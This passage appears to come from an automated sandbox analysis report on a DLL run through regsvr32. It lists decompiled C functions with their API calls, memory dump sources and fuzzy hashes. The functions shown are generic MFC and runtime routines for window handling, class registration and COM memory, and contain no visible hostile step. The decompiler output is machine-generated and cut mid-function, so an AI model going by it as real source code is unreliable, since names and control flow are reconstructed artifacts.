					 *_t100 =  *((intOrPtr*)(_t72 + 8));
					 *((intOrPtr*)(_t100 + 0x10)) =  *((intOrPtr*)(_t72 + 0x10));
					 *((intOrPtr*)(_t100 + 0x1c)) =  *((intOrPtr*)(_t72 + 0x1c));
					_t64 =  *((intOrPtr*)(_t72 + 0x14));
					_t111 =  *((intOrPtr*)(_t64 - 0xc));
					if( *((intOrPtr*)(_t64 - 0xc)) != 0) {
						 *((intOrPtr*)(_t100 + 0xc)) =  *_t97( *((intOrPtr*)(E6EB4922C(_t72,  &_v268, _t97, _t100, _t111))), _t64);
						E6EB41020(_v268 + 0xfffffff0, _t95);
					}
					_t73 =  *((intOrPtr*)(_t72 + 0x18));
					_t113 =  *((intOrPtr*)(_t73 - 0xc));
					if( *((intOrPtr*)(_t73 - 0xc)) != 0) {
						 *((intOrPtr*)(_t100 + 4)) =  *_t97( *((intOrPtr*)(E6EB4922C(_t73,  &_v268, _t97, _t100, _t113))), _t73);
						E6EB41020(_v268 + 0xfffffff0, _t95);
					}
				}
				 *((intOrPtr*)(_t100 + 8)) =  *_t97( *((intOrPtr*)(E6EB4922C(_t73,  &_v268, _t97, _t100, _t113))), _v272);
				_t51 = E6EB41020(_v268 + 0xfffffff0, _t95);
				_t114 =  *((intOrPtr*)(_t100 + 4));
				if( *((intOrPtr*)(_t100 + 4)) == 0) {
					 *((intOrPtr*)(_t100 + 4)) =  *_t97( *((intOrPtr*)(E6EB4922C(0,  &_v268, _t97, _t100, _t114))),  *((intOrPtr*)(E6EB53D20(0, _t97, _t100, _t114) + 0x10)));
					_t51 = E6EB41020(_v268 + 0xfffffff0, _t95);
				}
				if( *((intOrPtr*)(_t100 + 0xc)) == 0) {
					_t117 =  *((intOrPtr*)(_t100 + 0x10));
					if( *((intOrPtr*)(_t100 + 0x10)) != 0) {
						 *((intOrPtr*)(_t100 + 0xc)) =  *_t97( *((intOrPtr*)(E6EB4922C(0,  &_v268, _t97, _t100, _t117))),  *((intOrPtr*)( *((intOrPtr*)(E6EB53D20(0, _t97, _t100, _t117) + 4)) + 0x64)));
						_t51 = E6EB41020(_v268 + 0xfffffff0, _t95);
					}
				}
				_pop(_t98);
				_pop(_t101);
				_pop(_t75);
				return E6EB63DE0(_t51, _t75, _v8 ^ _t103, _t95, _t98, _t101);
			}

APIs

_memset.LIBCMT ref: 6EB61CF7
SysAllocString.OLEAUT32(00000000), ref: 6EB61D54
SysAllocString.OLEAUT32(00000000), ref: 6EB61D7E

Part of subcall function 6EB4922C: __EH_prolog3.LIBCMT ref: 6EB49233

SysAllocString.OLEAUT32(00000000), ref: 6EB61DD3
SysAllocString.OLEAUT32(00000000), ref: 6EB61E02
SysAllocString.OLEAUT32(00000000), ref: 6EB61E37

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: AllocString$H_prolog3_memset
String ID:
API String ID: 842698744-0
Opcode ID: 68933fe21b31f9487927ac1e3e5a134f5bdfa81ad80bb4a68db0bb825c45b105
Instruction ID: eeffa4b921d77cc58957c4dde7453522b22d894132732a8055f13e6458d1bef8
Opcode Fuzzy Hash: 68933fe21b31f9487927ac1e3e5a134f5bdfa81ad80bb4a68db0bb825c45b105
Instruction Fuzzy Hash: C8417F70910289DFCB20DFB4CC80BDEBBB9EF55318F0049A9E59A972A5DB709994CF40

Uniqueness

Uniqueness Score: -1.00%

Function 6EB487EC Relevance: 9.1, APIs: 6, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB487EC(struct HWND__* _a4, struct HWND__** _a8) {
				struct HWND__* _t8;
				void* _t14;
				struct HWND__** _t16;
				struct HWND__* _t17;
				struct HWND__* _t18;

				_t18 = _a4;
				if(_t18 != 0) {
					L5:
					if((GetWindowLongA(_t18, 0xfffffff0) & 0x40000000) == 0) {
						L8:
						_t17 = _t18;
						_t8 = _t18;
						if(_t18 == 0) {
							L10:
							if(_a4 == 0 && _t18 != 0) {
								_t18 = GetLastActivePopup(_t18);
							}
							_t16 = _a8;
							if(_t16 != 0) {
								if(_t17 == 0 || IsWindowEnabled(_t17) == 0 || _t17 == _t18) {
									 *_t16 =  *_t16 & 0x00000000;
								} else {
									 *_t16 = _t17;
									EnableWindow(_t17, 0);
								}
							}
							return _t18;
						} else {
							goto L9;
						}
						do {
							L9:
							_t17 = _t8;
							_t8 = GetParent(_t8);
						} while (_t8 != 0);
						goto L10;
					}
					_t18 = GetParent(_t18);
					L7:
					if(_t18 != 0) {
						goto L5;
					}
					goto L8;
				}
				_t14 = E6EB486FD();
				if(_t14 != 0) {
					L4:
					_t18 =  *(_t14 + 0x20);
					goto L7;
				}
				_t14 = E6EB487A0();
				if(_t14 != 0) {
					goto L4;
				}
				_t18 = 0;
				goto L8;
			}

APIs

GetWindowLongA.USER32 ref: 6EB4881F
GetParent.USER32(?), ref: 6EB4882D
GetParent.USER32(?), ref: 6EB48840
GetLastActivePopup.USER32(?), ref: 6EB48851
IsWindowEnabled.USER32(?), ref: 6EB48865
EnableWindow.USER32(?,00000000), ref: 6EB48878

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
String ID:
API String ID: 670545878-0
Opcode ID: 8a315c542724a7dfcabb26a829fc0f25be9b75f5bd5d8a11222a3aad8baf5397
Instruction ID: cc1f4aea1bf08c867ef617ad0620ea5d5c4d838376e00a119b0ab3127635c74e
Opcode Fuzzy Hash: 8a315c542724a7dfcabb26a829fc0f25be9b75f5bd5d8a11222a3aad8baf5397
Instruction Fuzzy Hash: FD11E7325116B2DBDF631AE99880B5E7FA8EF55BA0F060120FC10E720CDB30C801A3E5

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6D029 Relevance: 9.0, APIs: 6, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E6EB6D029(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t48;
				intOrPtr _t57;
				void* _t58;
				void* _t61;

				_t61 = __eflags;
				_t53 = __edx;
				_push(0x2c);
				_push(0x6eb85588);
				E6EB66608(__ebx, __edi, __esi);
				_t48 = __ecx;
				_t55 =  *((intOrPtr*)(_t58 + 0xc));
				_t57 =  *((intOrPtr*)(_t58 + 8));
				 *((intOrPtr*)(_t58 - 0x1c)) = __ecx;
				 *(_t58 - 0x34) =  *(_t58 - 0x34) & 0x00000000;
				 *((intOrPtr*)(_t58 - 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t58 + 0xc)) - 4));
				 *((intOrPtr*)(_t58 - 0x28)) = E6EB663F6(_t58 - 0x3c,  *((intOrPtr*)(_t57 + 0x18)));
				 *((intOrPtr*)(_t58 - 0x2c)) =  *((intOrPtr*)(E6EB6A81F(__ecx, __edx, _t55, _t61) + 0x88));
				 *((intOrPtr*)(_t58 - 0x30)) =  *((intOrPtr*)(E6EB6A81F(_t48, __edx, _t55, _t61) + 0x8c));
				 *((intOrPtr*)(E6EB6A81F(_t48, _t53, _t55, _t61) + 0x88)) = _t57;
				 *((intOrPtr*)(E6EB6A81F(_t48, _t53, _t55, _t61) + 0x8c)) =  *((intOrPtr*)(_t58 + 0x10));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *((intOrPtr*)(_t58 + 0x10)) = 1;
				 *(_t58 - 4) = 1;
				 *((intOrPtr*)(_t58 - 0x1c)) = E6EB6649B(_t55,  *((intOrPtr*)(_t58 + 0x14)), _t48,  *((intOrPtr*)(_t58 + 0x18)),  *((intOrPtr*)(_t58 + 0x1c)));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *(_t58 - 4) = 0xfffffffe;
				 *((intOrPtr*)(_t58 + 0x10)) = 0;
				E6EB6D14F(_t48, _t53, _t55, _t57, _t61);
				return E6EB6664D( *((intOrPtr*)(_t58 - 0x1c)));
			}

APIs

__CreateFrameInfo.LIBCMT ref: 6EB6D051

Part of subcall function 6EB663F6: __getptd.LIBCMT ref: 6EB66404
Part of subcall function 6EB663F6: __getptd.LIBCMT ref: 6EB66412

__getptd.LIBCMT ref: 6EB6D05B

Part of subcall function 6EB6A81F: __getptd_noexit.LIBCMT ref: 6EB6A822
Part of subcall function 6EB6A81F: __amsg_exit.LIBCMT ref: 6EB6A82F

__getptd.LIBCMT ref: 6EB6D069
__getptd.LIBCMT ref: 6EB6D077
__getptd.LIBCMT ref: 6EB6D082
_CallCatchBlock2.LIBCMT ref: 6EB6D0A8

Part of subcall function 6EB6649B: __CallSettingFrame@12.LIBCMT ref: 6EB664E7

Part of subcall function 6EB6D14F: __getptd.LIBCMT ref: 6EB6D15E
Part of subcall function 6EB6D14F: __getptd.LIBCMT ref: 6EB6D16C

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 1701ae659d77b774c4c3f90f661a3293d4a9063c8182b68c9203f75dea520589
Instruction ID: 718ee1871fef641c61ee004fc8f471ff6bcf38ba21c1629a1fd9b71822c8e546
Opcode Fuzzy Hash: 1701ae659d77b774c4c3f90f661a3293d4a9063c8182b68c9203f75dea520589
Instruction Fuzzy Hash: 2B11B4B1C202499FDF01EFE4D944AEE7BB5FF04314F10886AE914AB250EB389A119F50

Uniqueness

Uniqueness Score: -1.00%

Function 6EB544B2 Relevance: 9.0, APIs: 6, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E6EB544B2(struct HWND__* _a4, struct tagPOINT _a8, intOrPtr _a12) {
				struct tagRECT _v20;
				struct HWND__* _t12;
				struct HWND__* _t21;

				ClientToScreen(_a4,  &_a8);
				_push(5);
				_push(_a4);
				while(1) {
					_t12 = GetWindow();
					_t21 = _t12;
					if(_t21 == 0) {
						break;
					}
					if(GetDlgCtrlID(_t21) != 0xffff && (GetWindowLongA(_t21, 0xfffffff0) & 0x10000000) != 0) {
						GetWindowRect(_t21,  &_v20);
						_push(_a12);
						if(PtInRect( &_v20, _a8) != 0) {
							return _t21;
						}
					}
					_push(2);
					_push(_t21);
				}
				return _t12;
			}

APIs

ClientToScreen.USER32 ref: 6EB544C3
GetDlgCtrlID.USER32(00000000), ref: 6EB544D7
GetWindowLongA.USER32 ref: 6EB544E7
GetWindowRect.USER32 ref: 6EB544F9
PtInRect.USER32(?,?,?), ref: 6EB54509
GetWindow.USER32(?,00000005), ref: 6EB54516

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Window$Rect$ClientCtrlLongScreen
String ID:
API String ID: 1315500227-0
Opcode ID: 7f9d11508ae3358550d1c25e80cdc600a7570fa604ffbfd2ca4812e8789da3f7
Instruction ID: 31dac44a22a97fce611cffb16e063bb1bba6a0d16cf9fecd75780600097a51b2
Opcode Fuzzy Hash: 7f9d11508ae3358550d1c25e80cdc600a7570fa604ffbfd2ca4812e8789da3f7
Instruction Fuzzy Hash: 05018F32540565BBEF219EA4DC18EDE3B69EF43311F014021F911D32A0D730D6668B90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5D245 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 293
memoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E6EB5D245(signed int __ebx, intOrPtr* __ecx, void* __edi, void* __esi, void* __eflags) {
				signed int _t127;
				signed int _t128;
				signed int* _t134;
				signed int* _t137;
				signed int _t138;
				signed int _t140;
				signed int* _t141;
				void* _t144;
				intOrPtr* _t148;
				signed int _t153;
				signed int _t154;
				signed int* _t156;
				signed int* _t158;
				intOrPtr* _t162;
				signed int _t163;
				signed int _t164;
				signed int _t167;
				signed int _t168;
				intOrPtr* _t170;
				void* _t171;
				signed int _t172;
				signed int _t176;
				signed int _t177;
				signed int _t184;
				signed int _t186;
				signed int* _t188;
				signed int* _t190;
				signed int* _t193;
				signed int _t194;
				signed int _t205;
				signed int _t207;
				void* _t249;
				intOrPtr* _t253;
				void* _t254;
				void* _t262;
				void* _t265;

				_t192 = __ebx;
				_push(0x94);
				E6EB66564(0x6eb78072, __ebx, __edi, __esi);
				_t253 = __ecx;
				 *(_t254 - 0x88) =  *(__ecx + 0x14);
				 *(_t254 - 0x80) =  *(__ecx + 0x10);
				if( *((intOrPtr*)(__ecx + 0x48)) == 0) {
					_t127 =  *(__ecx + 8);
					__eflags = _t127;
					if(_t127 != 0) {
						_t128 =  *((intOrPtr*)( *_t127 + 0xc))(_t127, 0x6eb7e104, _t254 - 0x78, _t254 - 0x7c);
						__eflags = _t128;
						if(_t128 >= 0) {
							E6EB59E0A(_t254 - 0x70, 0x6eb7e834);
							 *(_t254 - 0x50) =  *(_t254 - 0x50) | 0xffffffff;
							 *((intOrPtr*)(_t254 - 0x58)) = 0;
							 *((intOrPtr*)(_t254 - 0x54)) = 0;
							 *((intOrPtr*)(_t254 - 0x4c)) = 0x18;
							 *((intOrPtr*)(_t254 - 0x48)) = 0;
							 *((intOrPtr*)(_t254 - 0x44)) = 0x1fb;
							E6EB59E0A(_t254 - 0x40, 0x6eb7e84c);
							_t134 =  *(_t254 - 0x78);
							 *(_t254 - 0x20) =  *(_t254 - 0x20) | 0xffffffff;
							 *((intOrPtr*)(_t254 - 0x28)) = 0x1c;
							 *((intOrPtr*)(_t254 - 0x24)) = 0;
							 *((intOrPtr*)(_t254 - 0x1c)) = 0x20;
							 *((intOrPtr*)(_t254 - 0x18)) = 0;
							 *((intOrPtr*)(_t254 - 0x14)) = 0x1e;
							_t192 =  *((intOrPtr*)( *_t134 + 0x10))(_t134, 2, _t254 - 0x70, 0x28, 0);
							__eflags = _t192;
							if(_t192 >= 0) {
								 *(_t254 - 0xa0) =  *(_t254 - 0x7c);
								_t137 =  *(_t254 - 0x78);
								 *((intOrPtr*)(_t254 - 0x9c)) = 1;
								 *(_t254 - 0x98) = 0;
								 *((intOrPtr*)(_t254 - 0x94)) = 0;
								 *((intOrPtr*)(_t254 - 0x90)) = 0;
								_t192 =  *_t137;
								_t138 =  *((intOrPtr*)( *_t137 + 0x18))(_t137, 0, 0, _t254 - 0xa0);
								__eflags = _t138;
								 *(_t254 - 0x84) = _t138;
								if(_t138 >= 0) {
									 *(_t253 + 0x14) =  *(_t254 - 0x98);
									_t140 =  *(_t254 - 0x8c);
									 *(_t254 - 0x7c) = _t140;
									 *(_t253 + 0x10) = _t140;
									_t141 =  *(_t254 - 0x78);
									 *((intOrPtr*)(_t253 + 0x34)) =  *((intOrPtr*)(_t254 - 0x94));
									 *((intOrPtr*)( *_t141 + 8))(_t141);
									goto L27;
								} else {
									_t156 =  *(_t254 - 0x78);
									 *((intOrPtr*)( *_t156 + 8))(_t156);
								}
								goto L45;
							} else {
								_t158 =  *(_t254 - 0x78);
								 *((intOrPtr*)( *_t158 + 8))(_t158);
							}
						}
					} else {
					}
				} else {
					_t162 =  *((intOrPtr*)(__ecx + 0x4c));
					_t163 =  *((intOrPtr*)( *_t162 + 0x14))(_t162, 0x6eb7e334, _t254 - 0x74);
					 *(_t254 - 0x84) = _t163;
					if(_t163 >= 0) {
						_t164 =  *(_t254 - 0x74);
						_push(_t254 - 0x7c);
						_push(0x6eb7e1d4);
						_push(_t164);
						if( *((intOrPtr*)( *_t164))() >= 0) {
							_t184 =  *(_t254 - 0x7c);
							_push(_t254 - 0x78);
							_push(0x6eb7e454);
							 *(_t254 - 0x78) = 0;
							_push(_t184);
							if( *((intOrPtr*)( *_t184 + 0x10))() >= 0) {
								_t188 =  *(_t254 - 0x78);
								_t249 =  *((intOrPtr*)(__ecx + 4)) + 0xe8;
								_t262 = _t249;
								 *((intOrPtr*)( *_t188 + 0x14))(_t188, _t249, __ecx + 0x58);
								_t190 =  *(_t254 - 0x78);
								 *((intOrPtr*)( *_t190 + 8))(_t190);
							}
							_t186 =  *(_t254 - 0x7c);
							 *((intOrPtr*)( *_t186 + 8))(_t186);
						}
						if(E6EB47C96(_t262, 0x14) == 0) {
							_t167 = 0;
							__eflags = 0;
						} else {
							_t167 = E6EB5CA65(_t166,  *(_t254 - 0x74));
						}
						 *((intOrPtr*)(_t253 + 0x50)) = _t167;
						_t168 =  *(_t254 - 0x74);
						 *((intOrPtr*)( *_t168 + 8))(_t168);
						_t170 =  *((intOrPtr*)(_t253 + 0x50));
						_t221 =  *_t170;
						if( *_t170 != 0) {
							_t265 = _t170 + 4;
							E6EB5A09F(_t221, _t170 + 4);
						}
						_t171 = E6EB47C96(_t265, 0x28);
						_t266 = _t171;
						if(_t171 == 0) {
							_t172 = 0;
							__eflags = 0;
						} else {
							_t172 = E6EB58C1D(_t171, 0, 0x1f40);
						}
						 *((intOrPtr*)(_t253 + 0x54)) = _t172;
						_push( *((intOrPtr*)( *((intOrPtr*)(_t253 + 0x50)))));
						E6EB5CC08(_t192, _t172, 0, _t253, _t266);
						 *((intOrPtr*)( *((intOrPtr*)(_t253 + 0x50)) + 8)) =  *((intOrPtr*)(_t253 + 0x54));
						_t176 =  *( *((intOrPtr*)(_t253 + 0x54)) + 0xc);
						 *(_t253 + 0x10) = _t176;
						if(_t176 <= 0x3333333) {
							_t177 = _t176 * 0x28;
							__imp__CoTaskMemAlloc(_t177);
							__eflags = _t177;
							_t226 = 0 | __eflags != 0x00000000;
							 *(_t253 + 0x14) = _t177;
							__eflags = __eflags != 0;
							if(__eflags == 0) {
								_t177 = E6EB48B6C(_t192, _t226, 0, _t253, __eflags);
							}
							E6EB65E80(0, _t177, 0,  *(_t253 + 0x10) * 0x28);
							E6EB5CA8C( *((intOrPtr*)(_t253 + 0x50)));
							E6EB5A006( *((intOrPtr*)(_t253 + 0x50)));
							L27:
							__eflags =  *(_t253 + 0x10);
							 *(_t254 - 0x74) = 0;
							if( *(_t253 + 0x10) > 0) {
								_t194 = 0;
								__eflags = 0;
								do {
									_t153 = E6EB47C96(__eflags, 0x1c);
									 *(_t254 - 0x7c) = _t153;
									 *(_t254 - 4) = 0;
									__eflags = _t153;
									if(_t153 == 0) {
										_t154 = 0;
										__eflags = 0;
									} else {
										_t154 = E6EB56779(_t153, 0xa);
									}
									 *(_t254 - 4) =  *(_t254 - 4) | 0xffffffff;
									 *(_t254 - 0x74) =  *(_t254 - 0x74) + 1;
									 *((intOrPtr*)(_t194 +  *(_t253 + 0x14) + 0x24)) = _t154;
									_t194 = _t194 + 0x28;
									__eflags =  *(_t254 - 0x74) -  *(_t253 + 0x10);
								} while (__eflags < 0);
							}
							_t192 =  *(_t254 - 0x88);
							__eflags = _t192;
							if(_t192 != 0) {
								__eflags =  *(_t254 - 0x80);
								if( *(_t254 - 0x80) > 0) {
									_t144 = 0xffffffdc;
									_t193 = _t192 + 0x24;
									 *(_t254 - 0x74) =  *(_t254 - 0x80);
									 *(_t254 - 0x7c) = _t144 -  *(_t254 - 0x88);
									while(1) {
										_t205 =  *( *_t193 + 4);
										 *(_t254 - 0x80) = _t205;
										__eflags = _t205;
										if(_t205 == 0) {
											goto L41;
										}
										while(1) {
											_t148 = E6EB4ABF2(_t254 - 0x80);
											 *((intOrPtr*)( *_t253 + 8))( *_t148, 1);
											__eflags =  *(_t254 - 0x80);
											if( *(_t254 - 0x80) == 0) {
												goto L41;
											}
										}
										L41:
										E6EB56691( *_t193);
										_t207 =  *_t193;
										__eflags = _t207;
										if(_t207 != 0) {
											 *((intOrPtr*)( *_t207 + 4))(1);
										}
										_t193 =  &(_t193[0xa]);
										_t119 = _t254 - 0x74;
										 *_t119 =  *(_t254 - 0x74) - 1;
										__eflags =  *_t119;
										if( *_t119 != 0) {
											continue;
										}
										goto L44;
									}
								}
								L44:
								__imp__CoTaskMemFree( *(_t254 - 0x88));
							}
							L45:
						} else {
						}
					}
				}
				return E6EB665E7(_t192, 0, _t253);
			}

APIs

__EH_prolog3_GS.LIBCMT ref: 6EB5D24F
CoTaskMemAlloc.OLE32(?,?), ref: 6EB5D373
_memset.LIBCMT ref: 6EB5D395
CoTaskMemFree.OLE32(?), ref: 6EB5D598

Strings

, xrefs: 6EB5D430

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Task$AllocFreeH_prolog3__memset
String ID:
API String ID: 3303116700-3916222277
Opcode ID: 9b5c9b4cc1ec0ffe2ace5a4485d12ce33bb5e163e819e9c5a9ce28bb63286ed8
Instruction ID: a9c3ee633095833dc50a7748413c7eaba6867b59a9ea722e9d4a344d868e1e5f
Opcode Fuzzy Hash: 9b5c9b4cc1ec0ffe2ace5a4485d12ce33bb5e163e819e9c5a9ce28bb63286ed8
Instruction Fuzzy Hash: F8C12870A106459FDB24CFE8D894A9EBBB5FF88308F208A5DE016EB355DB71A941CF10

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4F16D Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 244
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6EB4F16D(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, signed int _a4) {
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				char* _v20;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v40;
				intOrPtr _v52;
				signed int _v56;
				void* __ebp;
				intOrPtr _t127;
				void* _t133;
				intOrPtr _t135;
				signed int _t145;
				signed int _t150;
				signed int _t183;
				signed int _t185;
				signed int _t187;
				signed int _t189;
				signed int _t191;
				signed int _t195;
				void* _t198;
				intOrPtr _t199;
				signed int _t209;

				_t198 = __ecx;
				_t127 = E6EB53D20(__ebx, __edi, __esi, __eflags);
				_v8 = _t127;
				_t3 =  &_a4;
				 *_t3 = _a4 &  !( *(_t127 + 0x18));
				if( *_t3 == 0) {
					return 1;
				}
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t209 = 0;
				E6EB65E80(0,  &_v56, 0, 0x28);
				_v52 = DefWindowProcA;
				_t133 = E6EB53D20(__ebx, 0, 0, __eflags);
				__eflags = _a4 & 0x00000001;
				_v40 =  *((intOrPtr*)(_t133 + 8));
				_t135 =  *0x6eb8c930; // 0x10003
				_t195 = 8;
				_v32 = _t135;
				_v16 = _t195;
				if(__eflags != 0) {
					_push( &_v56);
					_v56 = 0xb;
					_v20 = "AfxWnd90s";
					_t191 = E6EB4EF71(_t195, _t198, 0, 0, __eflags);
					__eflags = _t191;
					if(_t191 != 0) {
						_t209 = 1;
						__eflags = 1;
					}
				}
				__eflags = _a4 & 0x00000020;
				if(__eflags != 0) {
					_v56 = _v56 | 0x0000008b;
					_push( &_v56);
					_v20 = "AfxOleControl90s";
					_t189 = E6EB4EF71(_t195, _t198, 0, _t209, __eflags);
					__eflags = _t189;
					if(_t189 != 0) {
						_t209 = _t209 | 0x00000020;
						__eflags = _t209;
					}
				}
				__eflags = _a4 & 0x00000002;
				if(__eflags != 0) {
					_push( &_v56);
					_v56 = 0;
					_v20 = "AfxControlBar90s";
					_v28 = 0x10;
					_t187 = E6EB4EF71(_t195, _t198, 0, _t209, __eflags);
					__eflags = _t187;
					if(_t187 != 0) {
						_t209 = _t209 | 0x00000002;
						__eflags = _t209;
					}
				}
				__eflags = _a4 & 0x00000004;
				if(__eflags != 0) {
					_v56 = _t195;
					_v28 = 0;
					_t185 = E6EB4F129(_t198, __eflags,  &_v56, "AfxMDIFrame90s", 0x7a01);
					__eflags = _t185;
					if(_t185 != 0) {
						_t209 = _t209 | 0x00000004;
						__eflags = _t209;
					}
				}
				__eflags = _a4 & _t195;
				if(__eflags != 0) {
					_v56 = 0xb;
					_v28 = 6;
					_t183 = E6EB4F129(_t198, __eflags,  &_v56, "AfxFrameOrView90s", 0x7a02);
					__eflags = _t183;
					if(_t183 != 0) {
						_t209 = _t209 | _t195;
						__eflags = _t209;
					}
				}
				__eflags = _a4 & 0x00000010;
				if(__eflags != 0) {
					_v12 = 0xff;
					_t209 = _t209 | E6EB4CC8D(_t195, _t198, _t209, __eflags,  &_v16, 0x3fc0);
					_t48 =  &_a4;
					 *_t48 = _a4 & 0xffffc03f;
					__eflags =  *_t48;
				}
				__eflags = _a4 & 0x00000040;
				if(__eflags != 0) {
					_v12 = 0x10;
					_t209 = _t209 | E6EB4CC8D(_t195, _t198, _t209, __eflags,  &_v16, 0x40);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00000080;
				if(__eflags != 0) {
					_v12 = 2;
					_t209 = _t209 | E6EB4CC8D(_t195, _t198, _t209, __eflags,  &_v16, 0x80);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00000100;
				if(__eflags != 0) {
					_v12 = _t195;
					_t209 = _t209 | E6EB4CC8D(_t195, _t198, _t209, __eflags,  &_v16, 0x100);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00000200;
				if(__eflags != 0) {
					_v12 = 0x20;
					_t209 = _t209 | E6EB4CC8D(_t195, _t198, _t209, __eflags,  &_v16, 0x200);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00000400;
				if(__eflags != 0) {
					_v12 = 1;
					_t209 = _t209 | E6EB4CC8D(0x400, _t198, _t209, __eflags,  &_v16, 0x400);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00000800;
				if(__eflags != 0) {
					_v12 = 0x40;
					_t209 = _t209 | E6EB4CC8D(0x400, _t198, _t209, __eflags,  &_v16, 0x800);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00001000;
				if(__eflags != 0) {
					_v12 = 4;
					_t209 = _t209 | E6EB4CC8D(0x400, _t198, _t209, __eflags,  &_v16, 0x1000);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00002000;
				if(__eflags != 0) {
					_v12 = 0x80;
					_t209 = _t209 | E6EB4CC8D(0x400, _t198, _t209, __eflags,  &_v16, 0x2000);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00004000;
				if(__eflags != 0) {
					_v12 = 0x800;
